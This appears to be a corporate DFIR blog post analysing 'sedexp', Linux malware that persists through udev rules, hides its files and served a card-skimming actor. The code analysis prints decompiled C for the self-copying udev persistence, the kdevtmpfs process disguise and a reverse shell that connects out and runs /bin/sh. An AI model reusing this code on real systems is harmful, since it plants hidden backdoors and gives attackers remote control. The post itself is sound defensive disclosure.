Unveiling "sedexp": A Stealthy Linux Malware Exploiting udev Rules

aon.com/en/insights/cyber-labs/unveiling-sedexp

August 19, 2024 7 mins

Stroz Friedberg identified a stealthy malware, dubbed “sedexp,” utilizing Linux udev rules to achieve persistence and evade detection. This advanced threat, active since 2022, hides in plain sight while providing attackers with reverse shell capabilities and advanced concealment tactics.

Introduction

Stroz Friedberg recently identified active usage of a lesser-known Linux persistence technique by an as-yet unidentified piece of malware, dubbed “sedexp,” during an investigation. Despite the malware being in use since at least 2022, Stroz Friedberg has found multiple instances available in online sandboxes with zero detections. At the time of this writing, the persistence technique used is not documented by MITRE ATT&CK. This blog details the active use of this malware and its persistence technique by a financially motivated threat actor.

Background on udev Rules

Sedexp utilizes udev rules to maintain persistence. The malware hides the rules utilizing memory manipulation techniques detailed later in this post.

udev is a device management system for the Linux kernel, responsible for managing device nodes in the */dev* directory. It dynamically creates or removes device node files, handles hotplug events to configure new devices, and loads drivers as necessary. udev rules are configuration files used by udev to match devices and execute actions in response to events such as adding or removing devices.

For example, when a USB device is plugged in, udev uses rules to determine the proper drivers to load and what actions to take. These rules are stored in files typically found in */etc/udev/rules.d/* or */lib/udev/rules.d/*. Each rule consists of conditions to match specific devices and corresponding actions to perform. A typical udev rule might look like this:

```
ACTION=="add", KERNEL=="sdb1", RUN+="/path/to/script"
```

In this rule:

- **ACTION=="add"** specifies that the rule applies when a device is added.
- **KERNEL=="sdb1"** matches the device name.
- **RUN+="/path/to/script"** specifies a script to run when the rule conditions are met.

Technical Analysis

Persistence through udev Rules

During a recent investigation, Stroz Friedberg discovered malware using udev rules to maintain persistence. This technique allows the malware to execute every time a specific device event occurs, making it stealthy and difficult to detect. The udev rule identified is as follows:

```
ACTION=="add", ENV{MAJOR}=="1", ENV{MINOR}=="8", RUN+="asedexpb run:+"
```

Breaking down the rule:

- **ACTION=="add"**: This rule triggers when a device is added to the system.
- **ENV{MAJOR}=="1"**: This condition checks if the device's major number is 1, typically associated with memory devices such as */dev/mem*, */dev/null*, and */dev/zero*.
- **ENV{MINOR}=="8"**: This condition checks if the device's minor number is 8, which corresponds to */dev/random* for major number 1.
- **RUN+=asedexpb**: When the above conditions are met, the program or script asedexpb is executed along with any arguments.

This rule ensures that the malware is run whenever */dev/random* is loaded. */dev/random* is a special file that serves as a random number generator, used by various system processes and applications to obtain entropy for cryptographic operations, secure communications, and other functions requiring randomness. It is loaded by the operating system on every reboot, meaning this rule would effectively ensure that the sedexp script is run upon system reboot.

Malware Capabilities

The sedexp malware has notable features such as:

- **Reverse Shell Capability**: It includes a reverse shell, allowing the threat actor to maintain control over the compromised system.
- **Memory Modification for Stealth**: The malware modifies memory to hide any file containing the string "sedexp" from commands like ls or find. In Stroz Friedberg's investigation, this capability was used to conceal webshells, modified Apache configuration files, and the udev rule itself.

Code Analysis

The decompiled code reveals several steps that the sedexp malware takes to ensure its persistence and stealth. Here are key parts simplified for clarity:

Memory Allocation and Argument Handling:

- The malware manipulates arguments to obfuscate its presence.
- It changes the process name to kdevtmpfs using prctl to blend in with legitimate system processes.

```
void *memory = calloc(arg_count + 1, sizeof(void *));
for (int i = 0; i < arg_count; i++) {
        memory[i] = strdup(arguments[i]);
        memset(arguments[i], 0, strlen(arguments[i]));
}
arguments[0] = "kdevtmpfs";
prctl(PR_SET_NAME, "kdevtmpfs", 0, 0, 0);
```

Persistence Setup: The malware sets up persistence by copying itself to a specific location and creating a udev rule.

```
char buffer[4096];
if (readlink("/proc/self/exe", buffer, sizeof(buffer) - 1) != -1) {
    char new_path[1024];
    snprintf(new_path, sizeof(new_path), "/lib/udev/%s", basename(buffer));
    system("cp -f %s %s && sync", buffer, new_path);

    char rule_path[1024];
    snprintf(rule_path, sizeof(rule_path), "/etc/udev/rules.d/99-%s.rules",
basename(buffer));
    FILE *rule_file = fopen(rule_path, "w+");
    if (rule_file) {
        fprintf(rule_file, "ACTION==\"add\", ENV{MAJOR}==\"1\", ENV{MINOR}==\"8\",
RUN+=\"%s %s:+\"\n", new_path, "run");
        fclose(rule_file);
    } else {
        exit(-1);
    }
} else {
    exit(-1);
}
```

Reverse Shell Execution: Depending on the input, it can set up a reverse shell, either using forkpty or creating pipes and forking a new process.

```
int socket_fd = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = inet_addr(ip_address);
connect(socket_fd, (struct sockaddr *)&addr, sizeof(addr));
dup2(socket_fd, STDIN_FILENO);
dup2(socket_fd, STDOUT_FILENO);
dup2(socket_fd, STDERR_FILENO);
execl("/bin/sh", "sh", NULL);
```

Threat Intelligence

Our analysis revealed that the malware was employed by a financially motivated threat actor. Key threat intelligence findings include:

- **Credit Card Scraping**: The malware was used to hide credit card scraping code on a webserver, indicating a focus on financial gain.
- **OSINT Findings**: Multiple public instances of this malware on an online sandbox had zero detections, highlighting its stealthy nature.
- **Historical Use**: This malware has been in use since at least 2022.

Conclusion

The discovery of sedexp demonstrates the evolving sophistication of financially motivated threat actors beyond ransomware. Leveraging rarely utilized persistence techniques like udev rules highlights the need for thorough and advanced forensic analysis. Organizations should continuously update their detection capabilities, implement comprehensive security measures to mitigate such threats, and ensure a capable DFIR firm is engaged to complete a forensic review of any possibly compromised servers.

Samples

Below are hashes of additional public samples discovered by Stroz Friedberg. Many online sandboxes detect few or no detections at the time this blog was released:

SHA256	43f72f4cdab8ed40b2f913be4a55b17e7fd8a7946a636adb4452f685c1ffea02
SHA256	94ef35124a5ce923818d01b2d47b872abd5840c4f4f2178f50f918855e0e5ca2
SHA256	b981948d51e344972d920722385f2370caf1e4fac0781d508bc1f088f477b648

Author

Zachary Reichert

DFIR

Contributors

- Daniel Stein

  DFIR

- Joshua Pivirotto

About Cyber Solutions:

Aon’s Cyber Solutions offers holistic cyber risk management, unsurpassed investigative skills, and proprietary technologies to help clients uncover and quantify cyber risks, protect critical assets, and recover from cyber incidents.

General Disclaimer

This document is not intended to address any specific situation or to provide legal, regulatory, financial, or other advice. While care has been taken in the production of this document, Aon does not warrant, represent or guarantee the accuracy, adequacy, completeness or fitness for any purpose of the document or any part of it and can accept no liability for any loss incurred in any way by any person who may rely on it. Any recipient shall be responsible for the use to which it puts this document. This document has been compiled using information available to us up to its date of publication and is subject to any qualifications made in the document. While care has been taken in the preparation of this material and some of the information contained within it has been obtained from sources that Stroz Friedberg believes to be reliable (including third-party sources), Stroz Friedberg does not warrant, represent, or guarantee the accuracy, adequacy, completeness or fitness for any purpose of the article and accepts no liability for any loss incurred in any way whatsoever by any person or organization who may rely upon it. It is for informational purposes only. You should consult with your own professional advisors or IT specialists before implementing any recommendation or following the guidance provided herein. Further, we endeavor to provide accurate and timely information, there can be no guarantee that such information is accurate as of the date it is received or that it will continue to be accurate in the future. Further, this article has been compiled using information available to us up to 8/19/2024.

Terms of Use

Aon's Better Being Podcast

Our Better Being podcast series, hosted by Aon Chief Wellbeing Officer Rachel Fellowes, explores wellbeing strategies and resilience. This season we cover human sustainability, kindness in the workplace, how to measure wellbeing, managing grief and more.

- Podcast 17 mins

  Better Being Series: Are You Taking Care of Your Digital Wellbeing?
- Podcast 19 mins

  On Aon Podcast: Better Being Series Dives into Women’s Health

- Podcast 29 mins

  On Aon’s Better Being Series: The World Wellbeing Movement
- Podcast 28 mins

  On Aon’s Better Being Series: Mental Health and Creating Kinder Cultures
- Podcast 25 mins

  On Aon’s Better Being Series: Managing Loss and Grief
- Podcast 24 mins

  On Aon’s Better Being Series: Measuring Wellbeing
- Podcast 25 mins

  On Aon’s Better Being Series: Physical Wellbeing and Resilience
- Podcast 23 mins

  On Aon’s Better Being Series: Human Sustainability

Aon Insights Series UK

Expert Views on Today's Risk Capital and Human Capital Issues

- Article 2 mins

  Introduction: Clarity and Confidence to Make Better Decisions
- Article 2 mins

  The Age of Rising Resilience – An Economic Outlook
- Article 3 mins

  Building Resilience Against the Constant Cyber Threat
- Article 2 mins

  Making Better Decisions – A Treasurer’s Perspective

- Article 2 mins

  How to Balance the Conflicting Forces of Efficiency, Performance and Wellbeing
- Article 3 mins

  Seizing the Opportunity: Building a Comprehensive Approach to Risk Transfer
- Article 2 mins

  Tapping New Markets to Unlock Deal Value
- Article 5 mins

  The Rise of the Skills-Based Organisation
- Article 2 mins

  Creating a Fair and Equitable Workforce for Everyone
- Article 3 mins

  The Year of the Vote: How Geopolitical Volatility Will Impact Businesses
- Article 2 mins

  The Aon Difference

Construction and Infrastructure

The construction industry is under pressure from interconnected risks and notable macroeconomic developments. Learn how your organization can benefit from construction insurance and risk management.

- Article 8 mins

  How North American Construction Contractors Can Mitigate Emerging Risks
- Article 7 mins

  Managing Construction Risks: 7 Risk Advisory Steps

- Article 7 mins

  Unlocking Capacity and Capital in a Challenging Construction Risk Market
- Article 7 mins

  Protecting North American Contractors from Extreme Heat Risks with Parametric
- Article 5 mins

  How Climate Modeling Can Mitigate Risks and Improve Resilience in the Construction Industry
- Report 1 mins

  Construction Risk Management Europe Report 2023
- Article 8 mins

  Parametric Can Help Mitigate Extreme Heat Risks for Contractors in EMEA
- Article 9 mins

  How the Construction Industry is Navigating Climate Change
- Article 11 mins

  Top Risks Facing Construction and Real Estate Organizations

Cyber Labs

Stay in the loop on today's most pressing cyber security matters.

- Cyber Labs 9 mins

  Bypassing EDR through Retrosigned Drivers and System Time Manipulation
- Cyber Labs 10 mins

  DNSForge – Responding with Force

- Cyber Labs 7 mins

  Unveiling "sedexp": A Stealthy Linux Malware Exploiting udev Rules
- Cyber Labs 3 mins

  Command Injection and Path Traversal in StoneFly Storage Concentrator
- Cyber Labs 7 mins

  Adopt an AI Approach with Confidence, for CISOs and CIOs
- Cyber Labs 3 mins

  Responding to the CrowdStrike Outage: Implications for Cyber and Technology Professionals
- Cyber Labs 10 mins

  DUALITY Part II - Initial Access and Tradecraft Improvements
- Cyber Labs 17 mins

  Cracking Into Password Requirements
- Cyber Labs 57 mins

  DUALITY: Advanced Red Team Persistence through Self-Reinfecting DLL Backdoors for Unyielding Control
- Cyber Labs 7 mins

  Restricted Admin Mode – Circumventing MFA On RDP Logons
- Cyber Labs 9 mins

  Detecting “Effluence”, An Unauthenticated Confluence Web Shell
- Cyber Labs 10 mins

  Flash Loan Attacks: A Case Study

Cyber Resilience

Our Cyber Resilience collection gives you access to Aon's latest insights on the evolving landscape of cyber threats and risk mitigation measures. Reach out to our experts to discuss how to make the right decisions to strengthen your organization's cyber resilience.

- Article 8 mins

  Lessons Learned from the CrowdStrike Outage: 5 Strategies to Build Cyber Resilience
- Article 8 mins

  Responding to Cyber Attacks: How Directors and Officers and Cyber Policies Differ
- Article 7 mins

  Why Now is the Right Time to Customize Cyber and E&O Contracts
- Article 6 mins

  8 Steps Toward Building Better Resilience Against Rising Ransomware Attacks
- Article 7 mins

  Mitigating Insider Threats: Managing Cyber Perils While Traveling Globally
- Article 5 mins

  Managing Cyber Risk through Return on Security Investment
- Article 10 mins

  Mitigating Insider Threats: Your Worst Cyber Threats Could be Coming from Inside
- Article 9 mins

  Why HR Leaders Must Help Drive Cyber Security Agenda
- Article 10 mins

  Escalating Cyber Security Risks Mean Businesses Need to Build Resilience

Employee Wellbeing

Our Employee Wellbeing collection gives you access to the latest insights from Aon's human capital team. You can also reach out to the team at any time for assistance with your employee wellbeing needs.

- Article 6 mins

  Three Ways Collective Retirement Plans Support HR Priorities
- Article 9 mins

  How the Right Employee Wellbeing Strategy Impacts Microstress and Burnout at Work
- Podcast 19 mins

  On Aon Podcast: Better Being Series Dives into Women’s Health
- Article 7 mins

  Making Wellbeing Part of a Company’s DNA
- Podcast 24 mins

  On Aon’s Better Being Series: Measuring Wellbeing
- Podcast 25 mins

  On Aon’s Better Being Series: Physical Wellbeing and Resilience
- Article 7 mins

  Why Workforce Wellbeing is Vital to Company Performance
- Article 7 mins

  COVID-19 has Permanently Changed the Way We Think About Wellbeing

Environmental, Social and Governance Insights

Explore Aon's latest environmental social and governance (ESG) insights.

- Article 8 mins

  Why ESG Is Even More Important In A Crisis Like COVID-19

- Podcast 16 mins

  On Aon Podcast: Approach to DE&I in the Workplace

Q4 2023 Global Insurance Market Insights

Our Global Insurance Market Insights highlight insurance market trends across pricing, capacity, underwriting, limits, deductibles and coverages.

- Article 12 mins

  Q4 2023: Global Insurance Market Overview
- Article 13 mins

  Top Risk Trends to Watch in 2024

Regional Results

How do the top risks on business leaders' minds differ by region and how can these risks be mitigated? Explore the regional results to learn more.

- Article 12 mins

  Top Risks Facing Organizations in Asia Pacific
- Article 12 mins

  Top Risks Facing Organizations in North America
- Article 10 mins

  Top Risks Facing Organizations in Europe
- Article 8 mins

  Top Risks Facing Organizations in Latin America
- Article 8 mins

  Top Risks Facing Organizations in the Middle East and Africa

- Article 9 mins

  Top Risks Facing Organizations in the United Kingdom

Human Capital Analytics

Our Human Capital Analytics collection gives you access to the latest insights from Aon's human capital team. Contact us to learn how Aon’s analytics capabilities helps organizations make better workforce decisions.

- Article 14 mins

  How Technology Will Transform Employee Benefits in the Next Five Years
- Podcast 18 mins

  On Aon Podcast: Technology Impacting the Future of Health and Benefits
- Article 8 mins

  Integrating Workforce Data to Uncover Hidden Insights
- Article 9 mins

  How Employers Can Use Data to Improve Their Health Plans
- Podcast 24 mins

  On Aon’s Better Being Series: Measuring Wellbeing
- Article 11 mins

  Designing Tomorrow: Personalizing EVP, Benefits and Total Rewards
- Article 9 mins

  How to Balance Cost with Growth in a Shifting Talent Market
- Article 8 mins

  How Companies are Mitigating Rising Medical Costs

- Article 10 mins

  How Data and Analytics Can Optimize HR Programs

Insights for HR

Explore our hand-picked insights for human resources professionals.

- Article 7 mins

  COVID-19 has Permanently Changed the Way We Think About Wellbeing
- Article 7 mins

  DE&I in Benefits Plans: A Global Perspective
- Article 10 mins

  How Data and Analytics Can Optimize HR Programs
- Article 9 mins

  Why HR Leaders Must Help Drive Cyber Security Agenda
- Article 7 mins

  Case Study: The LPGA Unlocks Talent Potential with Data
- Article 11 mins

  Navigating the New EU Directive on Pay Transparency
- Article 4 mins

  How to Design Better Talent Assessment to Promote DE&I
- Article 6 mins

  Training and Transforming Managers for the Future of Work
- Article 7 mins

  Rethinking Your Total Rewards Programs During Mergers and Acquisitions

- Article 14 mins

  Building a Resilient Workforce That Steers Organizational Success | An Outlook Across Industries

Workforce

Our Workforce Collection provides access to the latest insights from Aon's Human Capital team on topics ranging from health and benefits, retirement and talent practices. You can reach out to our team at any time to learn how we can help address emerging workforce challenges.

- Report 14 mins

  A Workforce in Transition Prepares to Meet a Host of Challenges
- Article 7 mins

  Companies Need a Global Benefits Identity in an Era of Cost Containment
- Article 8 mins

  Driving Inclusion and Diversity with Employee Benefits
- Article 17 mins

  Five Big Human Resources Trends to Watch in 2024
- Article 8 mins

  How Companies are Mitigating Rising Medical Costs
- Report 1 mins

  The Global Medical Trend Rates Report 2024
- Podcast 25 mins

  On Aon's Better Being Series: Physical Wellbeing and Resilience
- Article 9 mins

  How the Right Employee Wellbeing Strategy Impacts Microstress and Burnout at Work

- Article 11 mins

  Advancing Women’s Health and Equity Through Benefits and Support
- Podcast 18 mins

  On Aon Podcast: Technology Impacting the Future of Health and Benefits
- Article 7 mins

  How Collective Retirement Plans Help Support Financial Sustainability

Mergers and Acquisitions

Our Mergers and Acquisitions (M&A) collection gives you access to the latest insights from Aon's thought leaders to help dealmakers make better decisions. Explore our latest insights and reach out to the team at any time for assistance with transaction challenges and opportunities.

- Article 8 mins

  Exit Strategy Value Creation Opportunities Exist as Economic Pressures Persist
- Article 5 mins

  Future Trends for Financial Sponsors: Secondary Transactions
- Article 7 mins

  3 Ways to Unlock M&A Value in a Challenging Credit Environment
- Article 7 mins

  Rethinking Your Total Rewards Programs During Mergers and Acquisitions
- Article 9 mins

  Organizational Design and Talent Planning are Key to M&A Success
- Article 7 mins

  An Ever-Complex Global Tax Environment Requires Strong M&A Risk Solutions

- Article 6 mins

  Project Management for HR: The Secret Behind a Successful M&A Deal
- Article 9 mins

  Cultural Alignment Planning Drives M&A Success

Navigating Volatility

How do businesses navigate their way through new forms of volatility and make decisions that protect and grow their organizations?

Parametric Insurance

Our Parametric Insurance Collection provides ways your organization can benefit from this simple, straightforward and fast-paying risk transfer solution. Reach out to learn how we can help you make better decisions to manage your catastrophe exposures and near-term volatility.

Pay Transparency and Equity

Our Pay Transparency and Equity collection gives you access to the latest insights from Aon's human capital team on topics ranging from pay equity to diversity, equity and inclusion. Contact us to learn how we can help your organization address these issues.

Technology

Our Technology Collection provides access to the latest insights from Aon's thought leaders on navigating the evolving risks and opportunities of technology. Reach out to the team to learn how we can help you use technology to make better decisions for the future.

Trade

Our Trade Collection gives you access to the latest insights from Aon's thought leaders on navigating the evolving risks and opportunities for international business. Reach out to our team to understand how to make better decisions around macro trends and why they matter to businesses.

Weather

With a changing climate, organizations in all sectors will need to protect their people and physical assets, reduce their carbon footprint, and invest in new solutions to thrive. Our Weather Collection provides you with critical insights to be prepared.

Workforce Resilience

Our Workforce Resilience collection gives you access to the latest insights from Aon's Human Capital team. You can reach out to the team at any time for questions about how we can assess gaps and help build a more resilience workforce.

More Like This

View All

- Cyber Labs 3 mins

  Responding to the CrowdStrike Outage: Implications for Cyber and Technology Professionals

  This client alert provides an overview of the current global IT outage that is related to a CrowdStrike update. We provide an overview of CrowdStrike's response and guidance, and Aon Cyber Solutions' recommendations for affected clients.

- Cyber Labs 9 mins

  Detecting “Effluence”, An Unauthenticated Confluence Web Shell

  Discovering Effluence, a unique web shell accessible on every page of an infected Confluence

Ready to Explore Further?

Subscribe to Aon

Sign up to receive updates on the latest events, insights, news and more from our team.